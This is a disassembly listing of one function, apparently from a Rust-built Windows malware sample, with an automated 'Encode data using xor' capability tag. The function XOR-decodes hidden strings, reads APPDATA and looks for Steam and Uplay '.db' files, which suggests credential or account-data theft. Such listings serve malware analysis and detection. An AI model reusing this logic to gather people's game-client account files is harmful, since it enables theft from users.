Function at 0x14011944c
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2d8
mov r12, rcx
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
lea rcx, [rsp + 0x140]
call fcn.140031440
lea rax, [0x14036fcbb]
lea rdx, [rsp + 0x220]
mov qword [rdx], rax
mov rcx, qword [rdx]
movabs rax, 0xcebaa6e3b4d8427c
mov qword [rdx], rax
mov rdx, qword [rdx]
call fcn.14000a485
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x1c0], 0
mov rcx, 0xfffffffffffffff8
lea rdx, str._M0_
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x1b8], rbp
add rcx, 8
cmp rcx, 0x10
jb 0x1401194c6
mov ecx, 0x626b6c71
xor ecx, dword [rax + 0x18]
lea r13, [rsp + 0x1b0]
mov dword [r13 + 0x18], ecx
mov al, byte [rax + 0x1c]
xor al, 0xe3
mov byte [r13 + 0x1c], al
lea rsi, [rsp + 0x220]
mov r8d, 0x1d
mov rcx, rsi
mov rdx, r13
xor r9d, r9d
call fcn.140151c10
cmp dword [rsi], 2
jne 0x140119538
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 2
jmp 0x140119559
lea r14, [rsp + 0x40]
lea rax, [rsp + 0x220]
mov ecx, 9
mov rdi, r14
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [r14], 2
jne 0x140119568
lea rcx, [rsp + 0x48]
call fcn.14006467d
jmp 0x140119a90
lea rcx, [0x14036d9d4]
lea rsi, [rsp + 0x220]
mov qword [rsi], rcx
mov rcx, qword [rsi]
movabs rdx, 0xd160edf4afe31391
mov qword [rsi], rdx
mov rdx, qword [rsi]
call fcn.14000991b
mov ecx, dword [rax]
mov al, byte [rax + 4]
xor al, 0xf3
mov edx, 0xffe39f9b
xor rdx, rcx
lea rcx, [rsp + 0xc0]
mov byte [rcx + 4], al
mov dword [rcx], edx
lea r15, [rsp + 0x158]
mov qword [r15], rcx
mov qword [r15 + 8], 5
lea rax, [rsp + 0x140]
mov qword [rsp + 0x40], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r15
lea rax, [0x140037710]
mov qword [rsp + 0x58], rax
mov qword [rsi], 0
lea rax, [0x1403716f8]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], 3
mov qword [rsi + 0x20], r14
mov qword [rsi + 0x28], 2
lea rdi, [rsp + 0x1b0]
mov rcx, rdi
mov rdx, rsi
call fcn.140030660
mov rcx, rdi
call fcn.14012d83b
mov qword [rsi], rax
test rax, rax
je 0x140119641
lea rcx, [rsp + 0x220]
call fcn.14006467d
mov qword [rsp + 0x30], r12
lea rax, [0x14036ebee]
mov qword [rsp + 0x220], rax
mov rcx, qword [rsp + 0x220]
movabs rax, 0x82176d40bedca574
mov qword [rsp + 0x220], rax
mov rdx, qword [rsp + 0x220]
call fcn.140008e8b
xorps xmm0, xmm0
movaps xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], 0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14037181d]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0xc8], rbp
add rcx, 8
cmp rcx, 0x10
jb 0x1401196a1
mov ecx, 0x3be2638c
xor ecx, dword [rax + 0x18]
lea rdx, [rsp + 0xc0]
mov dword [rdx + 0x18], ecx
mov al, byte [rax + 0x1c]
xor al, 0xe5
mov byte [rdx + 0x1c], al
lea r13, [rsp + 0x220]
mov r8d, 0x1d
mov rcx, r13
call fcn.1401674f0
xor ebp, ebp
mov qword [r13 + 0x20], rbp
mov qword [r13 + 0x30], 0xa
mov qword [r13 + 0x38], rbp
mov word [r13 + 0x48], 0
mov byte [r13 + 0x4a], 0
mov qword [r13 + 0x40], 1
mov ecx, 0xa
mov rdi, r14
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
lea rax, [rsp + 0x78]
movups xmm0, xmmword [rax - 0x38]
movups xmm1, xmmword [rax - 0x28]
movups xmm2, xmmword [rax - 0x18]
movups xmm3, xmmword [rax - 8]
movaps xmmword [r13 + 0x20], xmm2
movaps xmmword [r13 + 0x30], xmm3
movups xmm2, xmmword [rax + 8]
movaps xmmword [r13 + 0x40], xmm2
movaps xmmword [r13], xmm0
movaps xmmword [r13 + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x160], xmm0
lea rax, [rsp + 0x1b0]
lea rsi, [rsp + 0x220]
mov ecx, 0xa
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x168]
mov qword [rsp + 0xf0], rcx
movups xmm1, xmmword [rsp + 0x158]
movaps xmmword [rsp + 0xe0], xmm1
lea rdx, [rsp + 0x220]
mov ecx, 0xa
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rdx + 0x50], rbp
movaps xmm1, xmmword [rsp + 0xe0]
movups xmmword [rdx + 0x58], xmm1
mov rax, qword [rsp + 0xf0]
mov qword [rdx + 0x68], rax
mov qword [rdx + 0x70], rbp
mov eax, 8
mov qword [rdx + 0x78], rax
movups xmmword [rdx + 0x80], xmm0
mov qword [rdx + 0x90], rax
movups xmmword [rdx + 0x98], xmm0
mov qword [rdx + 0xa8], rax
mov qword [rdx + 0xb0], rbp
mov rcx, r14
mov rdx, r13
call fcn.14017b3d2
mov rax, qword [rsp + 0x70]
cmp rax, 2
je 0x1401198c3
cmp eax, 3
je 0x140119a6c
mov r12, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rcx, rsi
mov rdx, rdi
call fcn.140156590
test rax, rax
cmove rax, rsi
cmove rdx, rdi
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x1401198a3
mov rbp, rax
mov rbx, rdx
lea rax, [0x14036a9a7]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xfb79be6a7ec9852f
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400084d0
mov eax, dword [rax]
mov ecx, 0xe5617f22
xor eax, ecx
mov dword [rsp + 0x158], eax
cmp rbx, 3
jbe 0x1401198a3
mov eax, dword [rsp + 0x158]
cmp eax, dword [rbp]
je 0x1401198e0
test r12, r12
je 0x1401197fc
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1401197fc
mov ecx, 9
mov rdi, r15
lea rsi, [rsp + 0x78]
rep movsq qword [rdi], qword [rsi]
mov rcx, r15
call fcn.140004c54
jmp 0x1401197fc
lea rax, [0x14036cda2]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xb93ac58f433373ff
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.14000a4a2
mov ecx, dword [rax]
mov al, byte [rax + 4]
xor al, 0xfc
xor rcx, 0xfd18b26
mov byte [rsp + 0x3c], al
mov dword [rsp + 0x38], ecx
lea rax, [rsp + 0x38]
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], 5
mov rcx, rsi
mov rdx, rdi
call fcn.140156590
test rax, rax
cmove rax, rsi
cmove rdx, rdi
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x14011a316
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rdx
lea rax, [rsp + 0x140]
mov qword [rsp + 0x158], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x210]
mov qword [rsp + 0x168], rax
lea rax, [0x140037710]
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x178], rcx
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x40], 0
lea rax, [0x1403716f8]
mov qword [rsp + 0x50], rax
mov eax, 3
mov qword [rsp + 0x58], rax
mov rbp, r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x100]
mov rdx, r14
call fcn.140030660
mov rbx, qword [rsp + 0x100]
mov r15, qword [rsp + 0x108]
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x200]
mov rdx, rsi
mov r8, rdi
mov r9, r15
call fcn.140167200
cmp qword [rsp + 0x200], 0
jne 0x14011a257
test rbx, rbx
je 0x140119a5b
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
mov r15, rbp
jne 0x1401198ac
jmp 0x1401197fc
lea rcx, [rsp + 0x40]
call fcn.140004252
lea rcx, [rsp + 0x220]
call fcn.1400045a1
mov r12, qword [rsp + 0x30]
lea r13, [rsp + 0x1b0]
mov ecx, 5
call fcn.140047b2b
mov rdi, rax
mov rsi, rdx
mov dword [rdx], 0x61657453
mov byte [rdx + 4], 0x6d
cmp qword [rsp + 0x140], 0
je 0x140119acc
mov r8, qword [rsp + 0x148]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x140119ae8
test rdi, rdi
je 0x140119ae8
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [r12 + 8]
mov rbx, qword [r12 + 0x10]
lea rdi, [rsp + 0x220]
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140031440
lea rbp, [rsp + 0x40]
mov rcx, rbp
mov rdx, rdi
call fcn.140015fb0
mov r8, qword [rbp + 8]
test r8, r8
je 0x140119b42
cmp qword [rsp + 0x40], 0
je 0x140119b42
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [r12 + 8]
mov rbx, qword [r12 + 0x10]
lea rcx, [rsp + 0xe0]
mov rdx, rsi
mov r8, rbx
call fcn.140031440
lea rdx, str.APPDATA
lea r14, [rsp + 0x40]
mov r8d, 7
mov rcx, r14
call fcn.14014ced0
cmp byte [r14 + 0x18], 3
jne 0x14011a2d5
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1c0], rax
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x1b0], xmm0
lea rax, [0x1402a705a]
mov qword [rsp + 0x220], rax
mov rcx, qword [rsp + 0x220]
movabs rax, 0xfa21adcc30b2b39
mov qword [rsp + 0x220], rax
mov rdx, qword [rsp + 0x220]
call fcn.14000a35d
xorps xmm0, xmm0
movaps xmmword [rsp + 0xc0], xmm0
mov r9b, 1
xor edi, edi
lea r10, [0x1402af820]
movzx r8d, byte [rdi + r10]
mov rcx, rdi
or rcx, 1
movzx ebx, byte [rcx + r10]
mov rcx, rdi
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdi
or rcx, 3
movzx r15d, byte [rcx + r10]
mov rcx, rdi
or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdi
or rsi, 5
movzx ebp, byte [rsi + r10]
mov rsi, rdi
or rsi, 6
mov rdx, rdi
or rdx, 7
movzx esi, byte [rsi + r10]
movzx edx, byte [rdx + r10]
shl rdx, 0x38
shl rsi, 0x30
or rsi, rdx
shl rbp, 0x28
shl rcx, 0x20
shl r15, 0x18
shl r11, 0x10
shl rbx, 8
or rbx, r8
or rbx, r11
or rbx, r15
or rbx, rcx
or rbx, rbp
or rbx, rsi
xor rbx, qword [rax + rdi]
mov qword [rsp + rdi + 0xc0], rbx
mov edi, 8
test r9b, 1
mov r9d, 0
jne 0x140119be1
mov ecx, 0xd83451be
xor ecx, dword [rax + 0x10]
lea rdx, [rsp + 0xc0]
mov dword [rdx + 0x10], ecx
mov al, byte [rax + 0x14]
xor al, 0x5f
mov byte [rdx + 0x14], al
lea rax, [rsp + 0x100]
mov qword [rax], rdx
mov qword [rax + 8], 0x15
mov qword [rsp + 0x40], r13
lea rcx, [0x140006df0]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, [0x140037710]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x220]
mov qword [rdx], 0
lea rax, [0x1403716f8]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 3
mov qword [rdx + 0x20], r14
mov qword [rdx + 0x28], 2
lea r14, [rsp + 0x158]
mov rcx, r14
call fcn.140030660
cmp qword [rsp + 0x1b0], 0
je 0x140119d3c
mov r8, qword [rsp + 0x1b8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x128], rax
mov rdx, qword [rsp + 0x160]
mov rbx, qword [rsp + 0x168]
lea rsi, [rsp + 0x220]
mov rcx, rsi
mov qword [rsp + 0x120], rdx
mov r8, rbx
xor r9d, r9d
call fcn.140151c10
cmp dword [rsi], 2
jne 0x140119d97
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 2
jmp 0x140119db5
lea rax, [rsp + 0x40]
lea rsi, [rsp + 0x220]
mov ecx, 9
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rax], 2
jne 0x140119e33
lea rcx, [rsp + 0x48]
call fcn.14006467d
cmp qword [rsp + 0x128], 0
je 0x140119de1
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x120]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xe0], 0
je 0x140119e03
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r12], 0
je 0x140119e1e
mov r8, qword [r12 + 8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x2d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x30], r12
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x1b0], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x1b8], rax
lea rsi, [rsp + 0x220]
mov qword [rsi], 0
lea rax, [0x1402af840]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], 2
mov qword [rsi + 0x20], r13
mov qword [rsi + 0x28], 1
lea rdi, [rsp + 0x40]
mov rcx, rdi
mov rdx, rsi
call fcn.140030660
mov rcx, rdi
call fcn.14012d83b
mov qword [rsi], rax
test rax, rax
je 0x140119eb2
lea rcx, [rsp + 0x220]
call fcn.14006467d
lea r12, [rsp + 0x220]
mov rcx, r12
mov rdx, qword [rsp + 0x120]
mov r8, rbx
call fcn.1401674f0
xor r8d, r8d
mov qword [r12 + 0x20], r8
mov qword [r12 + 0x30], 0xa
mov qword [r12 + 0x38], r8
mov word [r12 + 0x48], 0
mov byte [r12 + 0x4a], 0
mov qword [r12 + 0x40], 1
lea r13, [rsp + 0x40]
mov ecx, 0xa
mov rdi, r13
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movaps xmmword [r12 + 0x20], xmm2
movaps xmmword [r12 + 0x30], xmm3
movups xmm2, xmmword [r13 + 0x40]
movaps xmmword [r12 + 0x40], xmm2
movaps xmmword [r12], xmm0
movaps xmmword [r12 + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x160], xmm0
lea rax, [rsp + 0x1b0]
lea rsi, [rsp + 0x220]
mov ecx, 0xa
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x168]
mov qword [rsp + 0x110], rcx
movups xmm1, xmmword [rsp + 0x158]
movaps xmmword [rsp + 0x100], xmm1
lea rdx, [rsp + 0x220]
mov ecx, 0xa
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rdx + 0x50], r8
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [rdx + 0x58], xmm1
mov rax, qword [rsp + 0x110]
mov qword [rdx + 0x68], rax
mov qword [rdx + 0x70], r8
mov eax, 8
mov qword [rdx + 0x78], rax
movups xmmword [rdx + 0x80], xmm0
mov qword [rdx + 0x90], rax
movups xmmword [rdx + 0x98], xmm0
mov qword [rdx + 0xa8], rax
mov qword [rdx + 0xb0], r8
lea r15, [rsp + 0x78]
lea rcx, [rsp + 0x130]
add rax, rcx
mov qword [rsp + 0x1a0], rax
mov rcx, r13
mov rdx, r12
call fcn.14017b3d2
mov rax, qword [rsp + 0x70]
cmp rax, 2
je 0x14011a076
cmp eax, 3
je 0x14011a227
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rcx, rsi
mov rdx, rdi
call fcn.140156590
mov r8, rdx
test rax, rax
cmove rax, rsi
cmove r8, rdi
mov rcx, r13
mov rdx, rax
call fcn.1401627b0
mov rax, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, r8
test rax, rax
je 0x14011a06c
mov rcx, qword [rsp + 0x58]
cmp rcx, 3
jae 0x14011a091
xor ebx, ebx
jmp 0x14011a0b7
mov ecx, 9
mov rdi, r14
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
call fcn.140004c54
jmp 0x14011a003
mov rdx, r8
test rax, rax
jne 0x14011a09e
mov rdx, qword [rsp + 0x48]
movzx ebx, word [rcx + rdx - 3]
xor ebx, 0x642e
movzx ecx, byte [rcx + rdx - 1]
xor ecx, 0x62
or cx, bx
sete bl
test rax, rax
je 0x14011a0d3
cmp qword [rsp + 0x48], 0
je 0x14011a0d3
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
je 0x14011a207
mov qword [rsp + 0x1a8], rbp
mov rbp, r13
mov rcx, rsi
mov rdx, rdi
call fcn.140156590
test rax, rax
cmove rax, rsi
cmove rdx, rdi
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x14011a2bb
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rdx
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x158], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x168], rax
lea rax, [0x140037710]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x40], 0
lea rax, [0x1402af840]
mov qword [rsp + 0x50], rax
mov eax, 2
mov qword [rsp + 0x58], rax
mov r13, r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0xc0]
mov rdx, rbp
call fcn.140030660
mov rbx, qword [rsp + 0xc0]
mov r14, qword [rsp + 0xc8]
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x130]
mov rdx, rsi
mov r8, rdi
mov r9, r14
call fcn.140167200
cmp qword [rsp + 0x130], 0
je 0x14011a1e2
mov rcx, qword [rsp + 0x1a0]
call fcn.14006467d
test rbx, rbx
je 0x14011a1f9
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, r13
mov r13, rbp
mov rbp, qword [rsp + 0x1a8]
test rbp, rbp
je 0x14011a003
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14011a003
lea rcx, [rsp + 0x40]
call fcn.140004252
lea rcx, [rsp + 0x220]
call fcn.1400045a1
cmp qword [rsp + 0x128], 0
mov r12, qword [rsp + 0x30]
jne 0x140119dca
jmp 0x140119de1
mov rax, qword [rsp + 0x208]
lea rcx, [rsp + 0x40]
mov qword [rcx], rax
call fcn.14006467d
test rbx, rbx
je 0x14011a283
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
mov r12, qword [rsp + 0x30]
lea r13, [rsp + 0x1b0]
je 0x14011a2a7
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x220]
call fcn.1400045a1
xor esi, esi
jmp 0x140119aaa
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcmiscuplay.rs
mov edx, 0x2b
call fcn.1402a6560
ud2
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
lea r8, [rsp + 0x220]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcmiscuplay.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1403a0f2b]
lea r9, fcn.140004660
mov edx, 0x2b
call fcn.1402a68e0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcmisc_steam.rs
jmp 0x14011a2c9